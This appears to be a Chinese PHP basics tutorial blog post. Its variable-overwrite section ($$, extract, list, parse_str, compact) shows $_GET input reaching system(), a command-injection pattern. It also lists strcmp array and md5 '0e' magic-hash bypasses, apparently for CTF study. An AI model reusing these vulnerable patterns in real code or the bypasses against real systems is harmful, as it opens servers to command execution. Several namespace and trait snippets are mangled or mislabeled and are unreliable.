php基础笔记

news2024/12/23 13:17:34

开端:

  • PHP 脚本可以放在文本的任意位置

  • PHP 脚本以 开始,以 ?>** 结束:

  • PHP 文件的默认文件扩展名是 ".php"

标签替换
<? echo '123';?> //short_open_tags=on 默认开启
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language=”php”>echo '123'; </script> //php_vsesion < 7

变量名:

  • 变量以 $ 符号开始,后面跟着变量的名称

  • 变量名必须以字母或者下划线字符开始

  • 变量名只能包含字母、数字以及下划线

  • 变量名不能包含空格

  • 变量名是区分大小写的

<?php
$a="Hello world!";
echo $a;
?>

变量作用域:

全局变量与局部变量:

<?php
$a=100; // 全局变量
function set_a()
{
$a=10; // 局部变量
}
set_a();
echo $a;
?>

通过函数修改全局变量(global):

<?php
$a=100; // 全局变量
function set_a()
{
global $a; // 局部变量
$a=10
}
set_a();
echo $a;
?>

保存函数中的值,后续继续使用(static):

<?php
//$a = 100;
// 全局变量
function set_a(){
// 局部变量 
static $a = 10; 
$a ++; 
echo $a;
}
set_a();set_a();

常量:

  1. 英文字母、下划线、和数字组成,但数字不能作为首字母出现。 (常量名不需要加 $ 修饰符)。

  2. 常量在定义后,默认是全局变量,可以在整个运行的脚本的任何地方使用。

bool define ( string $name , mixed $value [, bool $case_insensitive = false ] )
name:必选参数,常量名称,即标志符。
value:必选参数,常量的值。
case_insensitive:可选参数,如果设置为 TRUE,该常量则大小写不敏感,默认是大小写敏感的
​
<?php
// 区分大小写的常量名
define("DEMO", "Hello world");
echo DEMO; 
?>

超级全局变量:

$GLOBALS
$_SERVER
$_REQUEST
$_POST
$_GET
$_FILES
$_ENV
$_COOKIE
$_SESSION

$GLOBALS:

  1. $GLOBALS 是PHP的一个超级全局变量组,在一个PHP脚本的全部作用域中都可以访问。

  2. $GLOBALS 是一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

$_SERVER:

$_SERVER 是一个包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息
的数组。这个数组中的项目由 Web 服务器创建
​
$_SERVER['PHP_SELF']
:当前执行脚本的文件名。在处理表单提交时,可以用它来指向当前脚本。
$_SERVER['SERVER_NAME']
:当前运行脚本所在的服务器主机的名称。
$_SERVER['REQUEST_METHOD']
:当前请求的方法,通常是 "GET" 或 "POST"。
$_SERVER['REQUEST_URI']
:当前请求的 URI(不含主机部分),例如 "/page.php"。
$_SERVER['QUERY_STRING']
:当前请求的查询字符串部分,即 URL 中 "?" 后面的部分。
$_SERVER['HTTP_HOST']
:当前请求的主机名,通常是指完整的域名,例如 "example.com"。
$_SERVER['HTTP_REFERER']
:引导用户代理到当前页的前一页 URL 地址,如果有的话。但请注意,有些浏览器不提供这个信息,而且这
值容易被伪造,因此不是非常可靠。
$_SERVER['HTTP_USER_AGENT']
:当前用户代理(浏览器或其他客户端应用)的信息。
$_SERVER['REMOTE_ADDR']
:当前请求的客户端 IP 地址。
$_SERVER['SERVER_PORT']
:Web 服务器使用的端口(默认为 80)。
$_SERVER['HTTPS']
:如果当前请求通过 HTTPS 协议访问,则为 "on";否则为空。

$_REQUEST:

$REQUEST 默认情况下包含了 $GET,$POST 和 $COOKIE

$_POST:

$_POST 来收集表单中的 input 字段数据

$_GET:

$_GET 也可以收集URL中发送的数据。

动态参数:

可变的数组键:

数组的键也可以是动态变量。这样你可以在运行时根据某个变量的值来访问数组中的元素

$index = 2;
$array = array(0 => 'apple', 1 => 'banana', 2 => 'orange');
​
echo $array[$index]; // 输出 "orange"

可变变量:

数组的键也可以是动态变量。这样你可以在运行时根据某个变量的值来访问数组中的元素

$foo = "hello";
$$foo = "world"; // 创建一个名为 $hello 的变量,并赋值为 "world"
echo $hello; // 输出 "world"
<?php
$a = 'ping 127.0.0.1';
$b = $_GET['1'];
$$b = $_GET['2'];
system($a);

变量覆盖:

extract:

extract 函数可以将数组中的元素导入到当前作用域中作为变量。如果数组中的键与当前作用域中已有的变量名相

同,可能会导致变量覆盖。

$person = ['name' => 'John', 'age' => 30];
extract($person);
​
echo $name; // 输出 "John"
echo $age; // 输出 30
<?php
$a = 'ping 127.0.0.1';
//$b = $_GET['1'];
//$$b = $_GET['2'];
$arr1 = [$_GET['1'] => $_GET['2'] , 'b' => 2];
extract($arr1);
system($a);

list:

list() 函数用于将数组中的值赋给一组变量

$info = ['John', 'Doe', 30];
list($firstName, $lastName, $age) = $info;
​
echo $firstName; // 输出 "John"
echo $lastName; // 输出 "Doe"
echo $age; // 输出 30
<?php$a = 'ping 127.0.0.1';
//$b = $_GET['1'];//$$b = $_GET['2'];
//$arr1 = [$_GET['1'] => $_GET['2'] , 'b' => 2];
//extract($arr1);
$arr2 = [$_GET['1'] , 2];
list($a ,$b) = $arr2;
system($a);

parse_str:

parse_str() 函数用于解析 URL 查询字符串,并将其中的参数赋值给相应的变量

$queryString = 'name=John&age=30';
parse_str($queryString, $params);
​
echo $params['name']; // 输出 "John"
echo $params['age']; // 输出 "30"
<?php
$queryString = $_SERVER['QUERY_STRING'];
$com = array('cmd'=>'ping 127.0.0.1');
parse_str($queryString,$$_GET[1]);
//com['cmd']
echo $com['cmd'];
system($com['cmd']);

compact:

compact() 函数用于将多个变量转换为关联数组,其中变量名将成为数组的键,变量的值将成为数组的值

$firstName = 'John';
$lastName = 'Doe';
$age = 30;
​
$info = compact('firstName', 'lastName', 'age');
print_r($info);
<?php
$com1 = 'ping 127.0.0.1';
$cmd2 = 'ping 127.0.0.1';
$cmd3 = 'whoami';
$info = compact($_GET['1'], 'cmd2');
foreach ($info as $a){
echo system($a);
}

输出函数:

在PHP中,echo、print、printf和 var_dump都是用于输出内容的函数,但它们有一些区别和不同的用途:

1.echo:

  1. echo是一个语言结构而不是函数,因此不需要使用括号。

  2. echo可以同时输出一个或多个字符串,并且没有返回值。

  3. 由于echo没有返回值,因此它在执行效率上稍微优于其他输出函数。

$variable = "Hello";
echo $variable; // 输出:Hello
echo "World"; // 输出:World

2.print:

  1. print是一个函数,需要使用括号。

  2. print和echo类似,用于输出一个字符串,但它只能输出一个字符串,不能同时输出多个,并且总是返回1。

  3. 由于print有返回值,因此它可以在表达式中使用。

$variable = "Hello";
print $variable; // 输出:Hello

3.printif:

  1. printf是一个格式化输出函数,可以根据指定的格式输出字符串。它类似于C语言中的

  2. printf的第一个参数是格式字符串,后面可以跟随多个参数,用于替换格式字符串中的占位符

$variable = "World";
printf("Hello %s", $variable); // 输出:Hello World

4.var_dump:

  1. var_dump是一个调试函数,用于输出变量的详细信息,包括类型和值。

  2. 它可以用于调试目的,帮助开发者了解变量的结构和内容。

$variable = array(1, 2, 3);
var_dump($variable);
// 输出:
// array(3) {
// [0]=> int(1)
// [1]=> int(2)
// [2]=> int(3)
// }

5.print_r:

  1. print_r 用于以更可读的方式输出数组或对象的内容,通常用于调试目的

  2. 它仅用于输出数组或对象的内容,因此不能用于输出其他数据类型的内容

$myArray = array('apple', 'banana', 'cherry');
print_r($myArray);

数据类型:

String(字符串)
Integer(整型)
Float(浮点型)
Boolean(布尔型)
Array(数组)
Object(对象)
NULL(空值)
Resource(资源类型)

类型比较:

松散比较:使用两个等号 == 比较,只比较值,不比较类型。
严格比较:用三个等号 === 比较,除了比较值,也比较类型。


数组:

数组能够在单个变量中存储多个值

<?php
$cars=array("Volvo","BMW","Toyota");
echo "I like " . $cars[0] . ", " . $cars[1] . " and " . $cars[2] . ".";
?>

PHP中有许多常用的数组函数,用于操作、处理和转换数组。以下是一些常见的数组函数:

  1. array_push(): 将一个或多个元素添加到数组的末尾。

$array = array("apple", "banana");
array_push($array, "orange", "grape");
print_r($array);
  1. array_pop(): 删除数组的最后一个元素,并返回被删除的元素。

$array = array("apple", "banana", "orange");
$removedElement = array_pop($array);
print_r($array);
echo $removedElement;
  1. array_shift(): 删除数组的第一个元素,并返回被删除的元素。

$array = array("apple", "banana", "orange");
$removedElement = array_shift($array);
print_r($array);
echo $removedElement;
  1. array_unshift(): 在数组的开头插入一个或多个元素。

$array = array("apple", "banana");
array_unshift($array, "orange", "grape");
print_r($array);
  1. array_merge(): 合并一个或多个数组。

$array1 = array("apple", "banana");
$array2 = array("orange", "grape");
$mergedArray = array_merge($array1, $array2);
print_r($mergedArray);
  1. array_slice(): 从数组中截取一个部分。

$array = array("apple", "banana", "orange", "grape");
$slicedArray = array_slice($array, 1, 2);
print_r($slicedArray);
  1. array_splice(): 从数组中移除一个部分并替换为新的元素。

$array = array("apple", "banana", "orange", "grape");
array_splice($array, 1, 2, array("watermelon", "kiwi"));
print_r($array);
  1. array_reverse(): 反转数组中的元素顺序。

$array = array("apple", "banana", "orange");
$reversedArray = array_reverse($array);
print_r($reversedArray);
  1. array_unique(): 移除数组中重复的元素。

$array = array("apple", "banana", "apple", "orange");
$uniqueArray = array_unique($array);
print_r($uniqueArray);
  1. array_map(): 对数组中的每个元素应用回调函数。

$array = array("apple", "banana", "orange");
$result = array_map('strtoupper', $array);
print_r($result);
  1. array_filter(): 使用回调函数过滤数组中的元素。

$array = array("apple", "banana", "", "orange");
$result = array_filter($array);
print_r($result);
  1. array_reduce(): 使用回调函数对数组中的所有元素进行迭代处理。

$array = array("apple", "banana", "orange");
$result = array_reduce($array, function($carry, $item) {
    return $carry . ', ' . $item;
});
echo $result;
  1. array_keys(): 返回数组中所有键名的数组。

$array = array("apple" => 1, "banana" => 2, "orange" => 3);
$keys = array_keys($array);
print_r($keys);
  1. array_values(): 返回数组中所有值的数组。

$array = array("apple" => 1, "banana" => 2, "orange" => 3);
$values = array_values($array);
print_r($values);
  1. array_combine(): 使用一个数组的值作为键名,另一个数组的值作为键值,创建一个新数组。

$keys = array("apple", "banana", "orange");
$values = array(1, 2, 3);
$combinedArray = array_combine($keys, $values);
print_r($combinedArray);
  1. array_count_values(): 计算数组中每个值出现的次数。

$array = array("apple", "banana", "apple", "orange");
$countValues = array_count_values($array);
print_r($countValues);
  1. array_sum(): 计算数组中所有值的和。

$array = array(1, 2, 3, 4);
$sum = array_sum($array);
echo $sum;
  1. array_diff(): 计算两个数组的差集。

$array1 = array("apple", "banana", "orange");
$array2 = array("banana", "grape");
$diffArray = array_diff($array1, $array2);
print_r($diffArray);
  1. array_intersect(): 计算两个数组的交集。

$array1 = array("apple", "banana", "orange");
$array2 = array("banana", "grape");
$intersectArray = array_intersect($array1, $array2);
print_r($intersectArray);
  1. in_array(): 检查数组中是否存在指定的值。

$array = array("apple", "banana", "orange");
$isExists = in_array("banana", $array);
var_dump($isExists);
  1. array_key_exists(): 检查数组中是否存在指定的键名。

$array = array("apple" => 1, "banana" => 2, "orange" => 3);
$isKeyExists = array_key_exists("banana", $array);
var_dump($isKeyExists);
  1. array_search(): 在数组中搜索指定的值,并返回对应的键名。

$array = array("apple", "banana", "orange");
$key = array_search("banana", $array);
echo $key;
  1. array_column(): 从多维数组中提取指定的列。

$array = array(
    array("id" => 1, "name" => "John"),
    array("id" => 2, "name" => "Jane")
);
$column = array_column($array, "name");
print_r($column);
  1. array_rand(): 从数组中随机选择一个或多个元素的键名。

$array = array("apple", "banana", "orange");
$randomKey = array_rand($array);
echo $randomKey;
  1. shuffle(): 打乱数组中的元素顺序。

$array = array("apple", "banana", "orange");
shuffle($array);
print_r($array);
  1. count(): 计算数组中的元素个数。

$array = array("apple", "banana", "orange");
$count = count($array);
echo $count;
  1. sort(): 对数组进行升序排序。

$array = array(3, 1, 4);
sort($array);
print_r($array);
  1. rsort(): 对数组进行降序排序。

$array = array(3, 1, 4);
rsort($array);
print_r($array);
  1. asort(): 对数组进行升序排序并保留键名。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
asort($array);
print_r($array);
  1. arsort(): 对数组进行降序排序并保留键名。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
arsort($array);
print_r($array);
  1. ksort(): 对数组按键名进行升序排序。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
ksort($array);
print_r($array);
  1. krsort(): 对数组按键名进行降序排序。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
krsort($array);
print_r($array);
  1. natsort(): 使用自然排序算法对数组进行升序排序。

$array = array("img1.jpg", "img10.jpg", "img12.jpg", "img2.jpg");
natsort($array);
print_r($array);
  1. natcasesort(): 使用自然排序算法对数组进行不区分大小写的升序排序。

$array = array("IMG1.jpg", "img10.jpg", "Img12.jpg", "img2.jpg");
natcasesort($array);
print_r($array);
  1. usort(): 使用用户自定义的比较函数对数组进行排序。

$array = array(3, 1, 4);
usort($array, function($a, $b) {
    return $a <=> $b;
});
print_r($array);
  1. uasort(): 使用用户自定义的比较函数对数组进行排序并保留键名。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
uasort($array, function($a, $b) {
    return $a <=> $b;
});
print_r($array);
  1. uksort(): 使用用户自定义的比较函数对数组按键名进行排序。

$array = array("apple" => 3, "banana" => 1, "orange" => 4);
uksort($array, function($a, $b) {
    return strcmp($a, $b);
});
print_r($array);

字符串:

字符串拼接:

<?php
$txt1="Hello world!";
$txt2="What a nice day!";
echo $txt1 . " " . $txt2;
?>

在 PHP 中,有许多常用的字符串处理函数,用于执行字符串的各种操作和转换。以下是一些常见的字符串处理函数:

  1. strlen(): 获取字符串的长度。

$str = "Hello, world!";
$length = strlen($str);
echo $length;
  1. strpos(): 在字符串中查找子字符串的首次出现位置。

$str = "Hello, world!";
$position = strpos($str, "world");
echo $position;
  1. stripos(): 在字符串中查找子字符串的首次出现位置(不区分大小写)。

$str = "Hello, World!";
$position = stripos($str, "world");
echo $position;
  1. strrpos(): 在字符串中查找子字符串的最后一次出现位置。

$str = "Hello, world! world!";
$position = strrpos($str, "world");
echo $position;
  1. strripos(): 在字符串中查找子字符串的最后一次出现位置(不区分大小写)。

$str = "Hello, World! world!";
$position = strripos($str, "world");
echo $position;
  1. substr(): 从字符串中提取子字符串。

$str = "Hello, world!";
$substring = substr($str, 7, 5);
echo $substring;
  1. str_replace(): 替换字符串中的子字符串。

$str = "Hello, world!";
$replaced = str_replace("world", "PHP", $str);
echo $replaced;
  1. strtolower(): 将字符串转换为小写。

$str = "Hello, World!";
$lower = strtolower($str);
echo $lower;
  1. strtoupper(): 将字符串转换为大写。

$str = "Hello, World!";
$upper = strtoupper($str);
echo $upper;
  1. ucfirst(): 将字符串的第一个字符转换为大写。

$str = "hello, world!";
$ucfirst = ucfirst($str);
echo $ucfirst;
  1. ucwords(): 将字符串中每个单词的首字母转换为大写。

$str = "hello, world!";
$ucwords = ucwords($str);
echo $ucwords;
  1. strrev(): 反转字符串中的字符顺序。

$str = "Hello, world!";
$reversed = strrev($str);
echo $reversed;
  1. str_pad(): 使用另一个字符串填充字符串,以达到指定的长度。

$str = "42";
$padded = str_pad($str, 5, "0", STR_PAD_LEFT);
echo $padded;
  1. str_repeat(): 重复字符串指定的次数。

$str = "A";
$repeated = str_repeat($str, 5);
echo $repeated;
  1. str_split(): 将字符串拆分为字符数组。

$str = "Hello";
$chars = str_split($str);
print_r($chars);
  1. str_word_count(): 计算字符串中的单词数。

$str = "Hello, world!";
$wordCount = str_word_count($str);
echo $wordCount;
  1. wordwrap(): 在指定的位置插入换行符,以适应给定的宽度。

$str = "Hello, world!";
$wrapped = wordwrap($str, 5, "\n");
echo $wrapped;
  1. trim(): 去除字符串两侧的空白字符。

$str = "   Hello, world!   ";
$trimmed = trim($str);
echo $trimmed;
  1. ltrim(): 去除字符串左侧的空白字符。

$str = "   Hello, world!   ";
$ltrimmed = ltrim($str);
echo $ltrimmed;
  1. rtrim(): 去除字符串右侧的空白字符。

$str = "   Hello, world!   ";
$rtrimmed = rtrim($str);
echo $rtrimmed;
  1. explode(): 使用指定的分隔符将字符串拆分为数组。

$str = "apple,banana,orange";
$array = explode(",", $str);
print_r($array);
  1. implode(): 使用指定的分隔符将数组元素连接成一个字符串。

$array = array("apple", "banana", "orange");
$str = implode(",", $array);
echo $str;
  1. strcmp(): 比较两个字符串(区分大小写)。

$str1 = "Hello";
$str2 = "hello";
$result = strcmp($str1, $str2);
echo $result;
  1. strcasecmp(): 比较两个字符串(不区分大小写)。

$str1 = "Hello";
$str2 = "hello";
$result = strcasecmp($str1, $str2);
echo $result;
  1. strstr(): 在字符串中查找子字符串的首次出现,并返回子字符串及其后面的所有字符。

$str = "Hello, world!";
$result = strstr($str, "world");
echo $result;
  1. stristr(): 在字符串中查找子字符串的首次出现(不区分大小写),并返回子字符串及其后面的所有字符。

$str = "Hello, World!";
$result = stristr($str, "world");
echo $result;

文件名常用函数

在 PHP 中,可以使用以下常见的函数来限制文件名:

1.basename():

basename() 函数用于返回路径中的文件名部分。它可以用于确保文件名只包含合法的字符,并且不包含路径信息。

$filename = "/path/to/my_file.txt";
$basename = basename($filename); // $basename 现在是 "my_file.txt"

2.preg_replace

preg_replace() 函数可以使用正则表达式替换文件名中的不合法字符。通过使用适当的正则表达式,可以从文件名中去除非法字符或将它们替换为其他字符。

$filename = "file?name.txt";
$cleanedFilename = preg_replace('/[^\w\d\.\-_]/', '_', $filename); // $cleanedFilename
现在是 "file_name.txt"

在上面的例子中,preg_replace() 函数使用正则表达式将非单词字符(\w)、非数字字符(\d)、点(.)、连字符(-)和下划线(_)之外的所有字符替换为下划线。

3.str_replace():

str_replace() 函数可以用于简单的字符串替换。虽然不如正则表达式强大,但在某些情况下也可以用来去除特定字符

$filename = "file?name.txt";
$cleanedFilename = str_replace('?', '_', $filename); // $cleanedFilename 现在是
"file_name.txt"

4.filter_var():

filter_var() 函数可以用于过滤文件名中的非法字符。使用

FILTER_SANITIZE_STRING 过滤器可以删除文件名中的非法字符。

$filename = "file?name.txt";
$cleanedFilename = filter_var($filename, FILTER_SANITIZE_STRING); // $cleanedFilename
现在是 "filename.txt"

5.pathinfo() :

pathinfo() 函数可以用于获取文件路径的信息,包括文件名、目录名和文件扩展名(后缀)等。通过pathinfo() 获取文件后缀,并与允许的后缀列表进行比较。

$allowedExtensions = array('jpg', 'png', 'gif');
$filename = 'example.jpg';
​
$extension = pathinfo($filename, PATHINFO_EXTENSION);
​
if (in_array($extension, $allowedExtensions)) {
// 合法的文件后缀
} else {
// 非法的文件后缀
}

6.strtolower() :

在检查文件后缀时,为了避免大小写问题,通常会将后缀转换为小写(或大写)后再进行比较。

$allowedExtensions = array('jpg', 'png', 'gif');
$filename = 'example.JPG';
$extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
​
if (in_array($extension, $allowedExtensions)) {
// 合法的文件后缀
} else {
// 非法的文件后缀
}

存在绕过的函数:

strcmp:

strcmp($a,$b) 比较两个字符串是否相等,相等返回0,出错也返回0,因此传入数组使其出错
​
<?php
$a = $_GET['a'];
if(!strcmp($a, '121312')){
echo 'ok';}
?>

md5:

1. 传数组
2. 两个md5加密后是0e开头的字符串,a=s878926199a&b=s155964671a
​
if (md5($_POST['a']) == md5($_POST['b']))
echo 'flag';

运算符:

PHP 算术运算符

算术运算符用于执行常见的算术运算,例如加,减,乘等。这是PHP算术运算符的完整列表:

运算符描述在线示例结果
+加法$x + $y$x和$y的总和
-减法$x - $y$x和$y之差
*乘法$x * $y$x和$y的乘积
/除法$x / $y$x和$y的商
%求模$x % $y$x除以$y的余数

PHP 赋值运算符

赋值运算符用于为变量赋值。

运算符描述在线示例等同于
=赋值$x = $y$x = $y
+=$x += $y$x = $x + $y
-=$x -= $y$x = $x - $y
*=$x *= $y$x = $x * $y
/=$x /= $y$x = $x / $y
%=模(除法的余数)$x %= $y$x = $x % $y
.=连接字符串$x .= $y$x = $x.$y

PHP 递增/递减运算符

递增/递减运算符用于递增/递减变量的值。

运算符名称描述
++$x预增量将$x加1,然后返回$x
$x++后增量返回$x,然后将$x加1
--$x递减将$x减一,然后返回$x
$x--递减后返回$x,然后将$x减1

PHP 逻辑运算符

逻辑运算符通常用于组合条件语句

运算符名称在线示例结果
and$x and $y如果$x和$y都为true,则为true
or$x or $y如果$x或$y为true,则为true
xor异或$x xor $y如果$x或$y为true,则为True,但不能同时为true
&&$x && $y如果$x和$y都为true,则为true
||$x || $y如果$$x或$y为true,则为true
!!$x如果$x不为true,则为true

PHP 字符串运算符

有两个专门为字符串设计的运算符。

运算符描述在线示例结果
.级联$str1 . $str2$str1和$str2的串联
.=串联分配$str1 .= $str2将$str2追加到$str1

PHP 数组运算符

数组运算符用于比较数组:

运算符名称在线示例结果
+集合$x + $y$x和$y的并集
==相等$x == $y如果$x和$y具有相同的键/值对,则为true
===全等$x === $y如果$x和$y具有相同顺序和相同类型的相同键/值对,则为true
!=不相等$x != $y如果$x不等于$y,则为true
<>不相等$x <> $y如果$x不等于$y,则为true
!==不全等$x !== $y如果$x与$y不相同则为true

PHP 太空船运算符PHP 7

PHP 7引入了一个新的太空船运算符(<=>),可用于比较两个表达式。也称为组合比较运算符。

如果两个操作数相等,则宇宙船操作符返回0,如果左侧大于1,则返回1,如果右侧大于1,则返回-1。 基本提供三向对比,如下表所示:

运算符<=> 相当于
$x < $y($x <=> $y) === -1
$x <= $y($x <=> $y) === -1 || ($x <=> $y) === 0
$x == $y($x <=> $y) === 0
$x != $y($x <=> $y) !== 0
$x >= $y($x <=> $y) === 1 || ($x <=> $y) === 0
$x > $y($x <=> $y) === 1

条件与循环:

条件:

IF:

<?php
$t=date("H");
if ($t<"10")
{
echo "Have a good morning!";
}
elseif ($t<"20")
{
echo "Have a good day!";
}
else
{
echo "Have a good night!";
}
?>

switch:

 <?php
$favcolor="red";
switch ($favcolor)
{
case "red":
echo "你喜欢的颜色是红色!";
break;
case "blue":
echo "你喜欢的颜色是蓝色!";
break;
case "green":
echo "你喜欢的颜色是绿色!";
break;
default:
echo "你喜欢的颜色不是 红, 蓝, 或绿色!";
}
?>

循环:

while:

<html>
<body>
​
<?php
$i=1;
while($i<=5)
{
echo "The number is " . $i . "<br>";
$i++;
}
?>
​
</body>
</html>

do .. while:

<html>
<body>
​
<?php
$i=1;
do
{
$i++;
echo "The number is " . $i . "<br>";
}
while ($i<=5);
?>
​
</body>
</html>

for:

<?php
for ($i=1; $i<=5; $i++)
{
echo "数字为 " . $i . PHP_EOL;
}
?>

foreach:

<?php
$x=array("Google","Runoob","Taobao");
foreach ($x as $value)
{
echo $value . PHP_EOL;
}
?>

函数:

创建函数:

<?php
function functionName()
{
// 要执行的代码
}
?>

添加参数:

<?php
function writeName($fname)
{
echo $fname . " Refsnes.<br>";
}
​
echo "My name is ";
writeName("Kai Jim");
echo "My sister's name is ";
writeName("Hege");
echo "My brother's name is ";
writeName("Stale");
?>

返回值:

<?php
function add($x,$y)
{
$total=$x+$y;
return $total;
}
echo "1 + 16 = " . add(1,16);
?>

类与对象:

<?php
class person {
/* 成员变量 */ 
var $name; 
var $age; /* 成员函数 */ 
function setName($name){
$this->name = $name; 
}
​
function setAge($age){
$this->age = $age; 
}
​
function getName(){
echo $this->name . PHP_EOL; 
}
​
function getAge(){
echo $this->age . PHP_EOL; 
}
}
?>

1.构造函数:

//对象被创建时调用
void __construct ([ mixed $args [, $... ]] )
​
function __construct( $name, $age ) {
$this->name = $name;
$this->age = $age;
}

2.析构函数:

//对象被摧毁后调用
function __destruct() {
print "销毁 " . $this->name . "\n";
}

3. 继承:

//继承父类后,具备父类的大部分方法与变量
class Child extends Person{
​
}

4. 方法重写:

// 重写父类的方法
function getName() {
echo $this->name . PHP_EOL;
return $this->name;
}
​
function getAge(){
echo $this->age . PHP_EOL;
return $this->age;
}

5. 访问控制:

public(公有):公有的类成员可以在任何地方被访问。

protected(受保护):受保护的类成员则可以被其自身以及其子类和父类访问。

private(私有):私有的类成员则只能被其定义所在的类访问。

<?php
class Person
{
// 声明一个公有的构造函数 
public function __construct() { }
​
​
// 声明一个公有的方法 
public function func1() {
echo '这里是公有方法'; 
}
​
// 声明一个受保护的方法 
protected function func2(){
echo '这里是收保护的方法'; 
}
 // 声明一个私有的方法 
private function func3() {
echo '这里时私有方法'; 
}
​
// 此方法为公有 
function test()
{
$this->func1(); // 正常执行 
$this->func2(); // 正常执行 protected受保护的方法,可以被自身调用以及子类调用 
$this->func3();// 正常执行 private私有方法,可以被自身其他方法调用,子类不行 
}
 }
​
$class = new Person();
$class->func1(); // 正常执行
# $class->func2(); // 被protected修饰的方法 只能在类方法中被调用#
$class->func3(); // 被private修饰的方法 只能在类方法中被调用
$class->test(); // 公有,受保护,私有都可以执行
class Superman extends Person
{
// 此方法为公有 
function test2()
{
$this->func1(); 
$this->func2(); // 正常执行 protected受保护的方法,可以被自身调用以及子类调用 
# $this->func3(); // 不能正常执行 private私有方法,可以被自身其他方法调用,子类不行 
 
​
}
}
​
$myclass2 = new Superman();
$myclass2->test(); // 这行能被正常执行
$myclass2->test2(); // 公有的和受保护的都可执行,但私有的不行

6. 接口

<?php
// 声明一个'interfaceDemo'接口
interface interfaceDemo
{
public function echo_flag($flag);
//不能添加已经被实现的方法
}
​
// 实现接口 ,关键词implements
class Demo implements interfaceDemo
{
public function echo_flag($flag){
echo $flag; 
}
}

7. 常量

<?php
class MyClass
{
const constant = '常量值';
​
function showConstant() {
echo self::constant . PHP_EOL;
}
}

8. 抽象类

<?php
abstract class AbstractClass
{
abstract protected function echo_flag($flag);
public function echo_flag2($flag){
echo $flag2;
//不能添加已经被实现的方法
}
​
}
​
// 实现接口
class Demo extends AbstractClass
​
{
​
public function echo_flag($flag){
echo $flag; 
}
}

9.Static

静态方法

<?php
class Foo {
public static $my_static = 'foo';
​
public function staticValue() {
return self::$my_static;
}
}
​
print Foo::$my_static . PHP_EOL;
$foo = new Foo();
​
print $foo->staticValue() . PHP_EOL;
?>

10. Final

如果父类中的方法被声明为 final,则子类无法覆盖该方法。如果一个类被声明为 final,则不能被继承。

<?php
class BaseClass {
public function test() {
echo "BaseClass::test() called" . PHP_EOL;
}
​
final public function moreTesting() {
echo "BaseClass::moreTesting() called" . PHP_EOL;
}
}
​
class ChildClass extends BaseClass {
public function moreTesting() {
echo "ChildClass::moreTesting() called" . PHP_EOL;
}
}
 // 报错信息 Fatal error: Cannot override final method BaseClass::moreTesting()
?>

11. 调用父类构造方法

<?php
class BaseClass {
function __construct() {
print "BaseClass 类中构造方法" . PHP_EOL;
}
}
class SubClass extends BaseClass {
function __construct() {
parent::__construct(); // 子类构造方法不能自动调用父类的构造方法
print "SubClass 类中构造方法" . PHP_EOL;
}
}
class OtherSubClass extends BaseClass {
// 继承 BaseClass 的构造方法
}
​
// 调用 BaseClass 构造方法
$obj = new BaseClass();
​
// 调用 BaseClass、SubClass 构造方法
$obj = new SubClass();
​
// 调用 BaseClass 构造方法
$obj = new OtherSubClass();
?>

12. 魔术方法

 __construct()
实例化类时自动调用
​
__destruct()
类对象使用结束时自动调用
​
__set()
在给未定义的属性赋值时自动调用
​
__get()
调用未定义的属性时自动调用
​
__isset()
使用 isset() 或 empty() 函数时自动调用
​
__unset()
使用 unset() 时自动调用
​
__sleep()
使用 serialize 序列化时自动调用
​
__wakeup()
使用 unserialize 反序列化时自动调用
__call()
调用一个不存在的方法时自动调用
​
__callStatic()
调用一个不存在的静态方法时自动调用
​
__toString()
把对象转换成字符串时自动调用
​
__invoke()
当尝试把对象当方法调用时自动调用
​
 __set_state()
 当使用 var_export() 函数时自动调用,接受一个数组参数
​
__clone()
当使用 clone 复制一个对象时自动调用
​
__debugInfo()
使用 var_dump() 打印对象信息时自动调用
​
__autoload()
尝试加载未定义的类

13. 魔术常量

1.__LINE__

<?php
echo '这是第 " ' . __LINE__ . ' " 行';
?>

2.__FILE__

<?php
echo '该文件位于 " ' . __FILE__ . ' " ';
?>

3.__DIR__

<?php
echo '该文件位于 " ' . __DIR__ . ' " ';
?>

4.FUNCTION

<?php
function test() {
echo '函数名为:' . __FUNCTION__ ;
}
test();
?>

5.__CLASS__

<?php
class test {
function _print() {
echo '类名为:' . __CLASS__ . "<br>";
echo '函数名为:' . __FUNCTION__ ;
}
}
$t = new test();
$t->_print();
?>

6.__TRAIT__

<?php
class Base {
public function sayHello() {
__TRAIT__
__NAMESPACE__
echo 'Hello ';
}
}
​
trait SayWorld {
public function sayHello() {
parent::sayHello();
echo 'World!';
}
}
​
class MyHelloWorld extends Base {
use SayWorld;
}
​
$o = new MyHelloWorld();
$o->sayHello();
?>

7.__TRAIT__

<?php
function test() {
echo '函数名为:' . __METHOD__ ;
}
test();
?>

8.__NAMESPACE__

<?php
namespace MyProject;
​
echo '命名空间为:"', __NAMESPACE__, '"'; // 输出 "MyProject"
?>

命名空间

1. 定义命名空间

<?php
/
namespace Space1;const flag = 1;
function func() {
echo '这里是Space1';}
/
namespace Space2;
const flag = 2;
function func() {
echo '这里是Space2';}
// 默认会使用前面的命名空间对应的函数
func();
// 选择命名空间调用函数\Space1\func();\Space2\
func();?>

2. 子命名空间

<?php
namespace Space1;function func() {
echo '这里是Space1';}
​
namespace Space1\Son1; 
function func() {
echo '这里是Son1';}
​
namespace Space1\Son2;
function func() {
echo '这里是Son2';}
​
func();
\Space1\Son1\func();
\Space1\func();
 ?>

3. 命名空间使用

<?php
namespace Space1;
//包含一个文件,可以调用这个方法中的类,变量,方法。。。
//但由于php无法直接区分,哪些代码是那个文件中的,
//因此必须设置一个命名空间,
//否则不同文件中的类,变量,方法。。。就会混淆
include 'demo.php';
function func() {
echo '这里是Space1';}
​
namespace Space1\Son1; 
//声明分层次的单个命名空间
function func() {
echo '这里是Son1';
}
​
namespace Space1\Son2; 
//声明分层次的单个命名空间
function func() {
echo '这里是Son2';
}
​
namespace Space1\Son2\grandson; 
//声明分层次的单个命名空间
function func() {
echo '这里是grandson';
}
​
func();
​
\Space1\Son2\func();
\Space1\Son1\func();
\Space1\func();
?>

4. 动态语言特征

<?phpnamespace Space2;function func() {
echo '这里是Space2';}
​
namespace Space2\son;
const DEMO = '这是一个常量';
